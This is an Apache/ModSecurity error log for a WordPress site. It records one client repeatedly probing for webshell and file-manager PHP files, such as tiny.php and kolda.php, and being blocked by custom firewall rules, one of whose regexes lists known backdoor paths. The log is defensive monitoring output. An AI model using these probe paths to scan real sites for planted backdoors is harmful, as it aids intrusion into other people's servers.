[Thu Apr 09 19:02:21.453898 2026] [:error] [pid 24624:tid 24649] [client 158.158.108.248:21856] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "adeHPe4Jn-WvK1ZBTvjAWgAAANc"]
[Thu Apr 09 19:02:22.042209 2026] [:error] [pid 24927:tid 24931] [client 158.158.108.248:1782] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "adeHPjXObuzEuw8mNJsKZwAAAQE"]
[Thu Apr 09 19:02:22.548040 2026] [:error] [pid 24515:tid 24533] [client 158.158.108.248:16717] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "adeHPq1OMnvM2fMnB1OGRgAAAA4"]
[Thu Apr 09 19:02:23.060975 2026] [:error] [pid 24927:tid 24942] [client 158.158.108.248:22370] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wgift1.php"] [unique_id "adeHPzXObuzEuw8mNJsKawAAAQw"]
[Thu Apr 09 19:02:23.655314 2026] [:error] [pid 24927:tid 24947] [client 158.158.108.248:46670] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wgift1.php"] [unique_id "adeHPzXObuzEuw8mNJsKbgAAARE"]
[Thu Apr 09 19:02:24.643326 2026] [:error] [pid 24927:tid 24946] [client 158.158.108.248:15231] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wgift1.php"] [unique_id "adeHQDXObuzEuw8mNJsKdQAAARA"]
[Thu Apr 09 19:02:25.440231 2026] [:error] [pid 20837:tid 20858] [client 158.158.108.248:21883] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wgift1.php"] [unique_id "adeHQfSL71FHZkjrGzPSAwAAAZM"]
[Thu Apr 09 19:02:26.044091 2026] [:error] [pid 24927:tid 24934] [client 158.158.108.248:16724] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/img.php"] [unique_id "adeHQjXObuzEuw8mNJsKegAAAQQ"]
[Thu Apr 09 19:02:26.585069 2026] [:error] [pid 24624:tid 24626] [client 158.158.108.248:13667] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/img.php"] [unique_id "adeHQu4Jn-WvK1ZBTvjAYgAAAMA"]
[Thu Apr 09 19:02:27.295616 2026] [:error] [pid 24624:tid 24634] [client 158.158.108.248:46174] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/img.php"] [unique_id "adeHQ-4Jn-WvK1ZBTvjAZQAAAMg"]
[Thu Apr 09 19:02:27.843485 2026] [:error] [pid 18477:tid 18482] [client 158.158.108.248:46702] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/img.php"] [unique_id "adeHQ8De826HlFeoLPKHrgAAAUM"]
[Thu Apr 09 19:02:28.622175 2026] [:error] [pid 18477:tid 18488] [client 158.158.108.248:46191] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new3.php"] [unique_id "adeHRMDe826HlFeoLPKHsAAAAUk"]
[Thu Apr 09 19:02:29.657619 2026] [:error] [pid 24515:tid 24542] [client 158.158.108.248:16757] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new3.php"] [unique_id "adeHRa1OMnvM2fMnB1OGTQAAABc"]
[Thu Apr 09 19:02:31.396714 2026] [:error] [pid 18477:tid 18483] [client 158.158.108.248:46185] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new3.php"] [unique_id "adeHR8De826HlFeoLPKHuAAAAUQ"]
[Thu Apr 09 19:02:33.139503 2026] [:error] [pid 24927:tid 24931] [client 158.158.108.248:13673] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new3.php"] [unique_id "adeHSTXObuzEuw8mNJsKkQAAAQE"]
[Thu Apr 09 19:02:34.091507 2026] [:error] [pid 24927:tid 24951] [client 158.158.108.248:14438] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-turn.php"] [unique_id "adeHSjXObuzEuw8mNJsKlgAAARU"]
[Thu Apr 09 19:02:35.374163 2026] [:error] [pid 24515:tid 24543] [client 158.158.108.248:13659] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-turn.php"] [unique_id "adeHS61OMnvM2fMnB1OGagAAABg"]
[Thu Apr 09 19:02:36.498331 2026] [:error] [pid 24927:tid 24945] [client 158.158.108.248:16759] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-turn.php"] [unique_id "adeHTDXObuzEuw8mNJsKnQAAAQ8"]
[Thu Apr 09 19:02:37.719031 2026] [:error] [pid 20837:tid 20849] [client 158.158.108.248:22368] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-turn.php"] [unique_id "adeHTfSL71FHZkjrGzPSBwAAAYo"]
[Thu Apr 09 19:02:38.948307 2026] [:error] [pid 18477:tid 18491] [client 158.158.108.248:46601] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kolda.php"] [unique_id "adeHTsDe826HlFeoLPKHwQAAAUw"]
[Thu Apr 09 19:02:39.929784 2026] [:error] [pid 18477:tid 18496] [client 158.158.108.248:46600] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kolda.php"] [unique_id "adeHT8De826HlFeoLPKHxAAAAVE"]
[Thu Apr 09 19:02:40.674041 2026] [:error] [pid 20837:tid 20854] [client 158.158.108.248:12859] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kolda.php"] [unique_id "adeHUPSL71FHZkjrGzPSCgAAAY8"]
[Thu Apr 09 19:02:41.230552 2026] [:error] [pid 24517:tid 24585] [client 158.158.108.248:49977] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kolda.php"] [unique_id "adeHUXboYEn2ZFM_PS914gAAAIs"]
[Thu Apr 09 19:02:41.958606 2026] [:error] [pid 24624:tid 24643] [client 158.158.108.248:12840] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ayk.php"] [unique_id "adeHUe4Jn-WvK1ZBTvjAbQAAANE"]
[Thu Apr 09 19:02:42.552646 2026] [:error] [pid 20837:tid 20860] [client 158.158.108.248:49965] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ayk.php"] [unique_id "adeHUvSL71FHZkjrGzPSDQAAAZU"]
[Thu Apr 09 19:02:43.253207 2026] [:error] [pid 24515:tid 24527] [client 158.158.108.248:1133] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ayk.php"] [unique_id "adeHU61OMnvM2fMnB1OGjQAAAAg"]
[Thu Apr 09 19:02:43.863966 2026] [:error] [pid 24515:tid 24530] [client 158.158.108.248:49943] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ayk.php"] [unique_id "adeHU61OMnvM2fMnB1OGkAAAAAs"]
[Thu Apr 09 19:02:44.564584 2026] [:error] [pid 24515:tid 24526] [client 158.158.108.248:1481] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/red.php"] [unique_id "adeHVK1OMnvM2fMnB1OGlAAAAAc"]
[Thu Apr 09 19:02:45.082374 2026] [:error] [pid 24515:tid 24536] [client 158.158.108.248:33461] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/red.php"] [unique_id "adeHVa1OMnvM2fMnB1OGmAAAABE"]
[Thu Apr 09 19:02:45.620968 2026] [:error] [pid 24624:tid 24631] [client 158.158.108.248:32923] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/red.php"] [unique_id "adeHVe4Jn-WvK1ZBTvjAcgAAAMU"]
[Thu Apr 09 19:02:46.155172 2026] [:error] [pid 24515:tid 24542] [client 158.158.108.248:14459] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/red.php"] [unique_id "adeHVq1OMnvM2fMnB1OGngAAABc"]
[Thu Apr 09 19:02:46.835582 2026] [:error] [pid 24515:tid 24526] [client 158.158.108.248:55593] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ss.php"] [unique_id "adeHVq1OMnvM2fMnB1OGpQAAAAc"]
[Thu Apr 09 19:02:47.332616 2026] [:error] [pid 18477:tid 18498] [client 158.158.108.248:1519] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ss.php"] [unique_id "adeHV8De826HlFeoLPKHxwAAAVM"]
[Thu Apr 09 19:02:47.838027 2026] [:error] [pid 24515:tid 24524] [client 158.158.108.248:22906] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ss.php"] [unique_id "adeHV61OMnvM2fMnB1OGqwAAAAU"]
[Thu Apr 09 19:02:48.337310 2026] [:error] [pid 24515:tid 24538] [client 158.158.108.248:20939] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ss.php"] [unique_id "adeHWK1OMnvM2fMnB1OGrgAAABM"]
[Thu Apr 09 19:02:48.877036 2026] [:error] [pid 24927:tid 24940] [client 158.158.108.248:53077] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "adeHWDXObuzEuw8mNJsKqwAAAQo"]
[Thu Apr 09 19:02:49.374813 2026] [:error] [pid 20837:tid 20861] [client 158.158.108.248:55568] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "adeHWfSL71FHZkjrGzPSFwAAAZY"]
[Thu Apr 09 19:02:49.950924 2026] [:error] [pid 24927:tid 24945] [client 158.158.108.248:46605] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "adeHWTXObuzEuw8mNJsKrAAAAQ8"]
[Thu Apr 09 19:02:50.481147 2026] [:error] [pid 20837:tid 20842] [client 158.158.108.248:15113] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "adeHWvSL71FHZkjrGzPSGQAAAYM"]
[Thu Apr 09 19:02:51.067077 2026] [proxy_fcgi:error] [pid 24927:tid 24931] [client 158.158.108.248:46599] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 19:02:52.687283 2026] [proxy_fcgi:error] [pid 24927:tid 24936] [client 158.158.108.248:46599] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 19:02:52.929861 2026] [proxy_fcgi:error] [pid 24927:tid 24937] [client 158.158.108.248:46599] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 19:02:53.203116 2026] [:error] [pid 24927:tid 24950] [client 158.158.108.248:46599] [client 158.158.108.248] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "adeHXTXObuzEuw8mNJsKsgAAARQ"]
[Thu Apr 09 19:02:53.687166 2026] [proxy_fcgi:error] [pid 18477:tid 18497] [client 158.158.108.248:1964] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 19:02:53.936106 2026] [proxy_fcgi:error] [pid 18477:tid 18483] [client 158.158.108.248:1964] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 19:02:54.175399 2026] [:error] [pid 18477:tid 18496] [client 158.158.108.248:1964] [client 158.158.108.248] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tiny.php"] [unique_id "adeHXsDe826HlFeoLPKHzwAAAVE"]
[Thu Apr 09 19:02:54.806323 2026] [proxy_fcgi:error] [pid 24927:tid 24946] [client 158.158.108.248:55561] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 19:02:55.049610 2026] [proxy_fcgi:error] [pid 24927:tid 24935] [client 158.158.108.248:55561] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 19:02:55.408704 2026] [proxy_fcgi:error] [pid 24927:tid 24941] [client 158.158.108.248:55561] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 19:02:55.662438 2026] [proxy_fcgi:error] [pid 24927:tid 24943] [client 158.158.108.248:55561] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 19:02:56.027365 2026] [proxy_fcgi:error] [pid 24927:tid 24944] [client 158.158.108.248:55561] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 19:02:56.271191 2026] [proxy_fcgi:error] [pid 24927:tid 24934] [client 158.158.108.248:55561] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 19:02:56.531195 2026] [:error] [pid 24927:tid 24948] [client 158.158.108.248:55561] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ggb.php"] [unique_id "adeHYDXObuzEuw8mNJsKvgAAARI"]
[Thu Apr 09 19:02:57.182692 2026] [:error] [pid 24927:tid 24953] [client 158.158.108.248:53089] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ggb.php"] [unique_id "adeHYTXObuzEuw8mNJsKwAAAARc"]
[Thu Apr 09 19:02:57.818153 2026] [:error] [pid 24927:tid 24931] [client 158.158.108.248:53097] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ggb.php"] [unique_id "adeHYTXObuzEuw8mNJsKwwAAAQE"]
[Thu Apr 09 19:02:58.597320 2026] [:error] [pid 24624:tid 24641] [client 158.158.108.248:15166] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ggb.php"] [unique_id "adeHYu4Jn-WvK1ZBTvjAfAAAAM8"]
[Thu Apr 09 19:02:59.089109 2026] [:error] [pid 24927:tid 24951] [client 158.158.108.248:14463] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tiny2.php"] [unique_id "adeHYzXObuzEuw8mNJsKxgAAARU"]
[Thu Apr 09 19:02:59.592458 2026] [:error] [pid 20837:tid 20852] [client 158.158.108.248:15119] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tiny2.php"] [unique_id "adeHY_SL71FHZkjrGzPSHwAAAY0"]
[Thu Apr 09 19:03:00.192883 2026] [:error] [pid 20837:tid 20843] [client 158.158.108.248:14448] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tiny2.php"] [unique_id "adeHZPSL71FHZkjrGzPSIAAAAYQ"]
[Thu Apr 09 19:03:00.718025 2026] [:error] [pid 24515:tid 24534] [client 158.158.108.248:1504] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tiny2.php"] [unique_id "adeHZK1OMnvM2fMnB1OG2AAAAA8"]
[Thu Apr 09 19:03:01.201642 2026] [:error] [pid 24515:tid 24529] [client 158.158.108.248:1923] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ava.php"] [unique_id "adeHZa1OMnvM2fMnB1OG2QAAAAo"]
[Thu Apr 09 19:03:01.901411 2026] [:error] [pid 24624:tid 24635] [client 158.158.108.248:53094] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ava.php"] [unique_id "adeHZe4Jn-WvK1ZBTvjAjAAAAMk"]
[Thu Apr 09 19:03:02.521019 2026] [:error] [pid 20837:tid 20840] [client 158.158.108.248:1953] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ava.php"] [unique_id "adeHZvSL71FHZkjrGzPSIQAAAYE"]
[Thu Apr 09 19:03:03.241101 2026] [:error] [pid 24517:tid 24581] [client 158.158.108.248:14426] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ava.php"] [unique_id "adeHZ3boYEn2ZFM_PS916gAAAIc"]
